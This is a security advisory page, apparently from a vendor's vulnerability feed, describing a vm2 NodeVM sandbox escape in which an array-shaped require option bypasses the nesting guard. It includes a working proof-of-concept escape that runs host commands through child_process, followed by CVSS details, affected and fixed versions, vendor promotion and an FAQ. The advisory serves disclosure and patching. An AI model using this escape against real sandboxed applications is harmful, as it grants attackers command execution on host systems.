Summary
vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE
The NodeVM constructor computes hasRealRequireConfig using typeof requireOpts === 'object' && requireOpts !== null, so require: [] bypasses the guard intended to reject nesting without an explicit require configuration. makeResolverFromLegacyOptions() then destructures the array to undefined option fields and returns a resolver containing only NESTING_OVERRIDE.vm2. Any attacker whose JavaScript is executed by a downstream NodeVM configured with {nesting: true, require: []} can load the host vm2 module, create an inner NodeVM with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in makeResolverFromLegacyOptions().
Array is converted into the vm2-only resolver:
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226
Nesting loader returns the host VM constructors:
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645
Proof of Concept
Preconditions:
- The host creates
NodeVMwith truthynestingand array-shapedrequire. - The attacker can supply JavaScript executed by that
NodeVM.
'use strict';
const {NodeVM} = require('./index.js');
const outer = new NodeVM({nesting: true, require: []});
const result = outer.run(`
const {NodeVM} = require('vm2');
const inner = new NodeVM({require: {builtin: ['child_process']}});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()"
);
`);
console.log(result);
uid=1000(lohar) gid=1000(lohar) groups=1000(lohar)
The hasRealRequireConfig guard fails open because it returns true for arrays, although arrays are not VMRequire configuration objects. makeResolverFromLegacyOptions() applies object destructuring to the array, obtains undefined builtin and external values, merges NESTING_OVERRIDE, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner NodeVM, whose require configuration is selected inside the sandbox.
Failed shape check:
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307
Impact
An attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped require values and incorrectly identifies 3.11.4 as patched.
Exploitation is limited to downstream applications that enable nesting and pass the malformed array configuration.
CVE-2026-92935 has a CVSS score of 9.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-92935? CVE-2026-92935 is a critical-severity security vulnerability in vm2 (npm), affecting versions >= 3.11.4, <= 3.11.6. It is fixed in 3.11.7.
- How severe is CVE-2026-92935? CVE-2026-92935 has a CVSS score of 9.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of vm2 are affected by CVE-2026-92935? vm2 (npm) versions >= 3.11.4, <= 3.11.6 is affected.
- Is there a fix for CVE-2026-92935? Yes. CVE-2026-92935 is fixed in 3.11.7. Upgrade to this version or later.
- Is CVE-2026-92935 exploitable, and should I be worried? Whether CVE-2026-92935 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-92935 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-92935? Upgrade
vm2to 3.11.7 or later.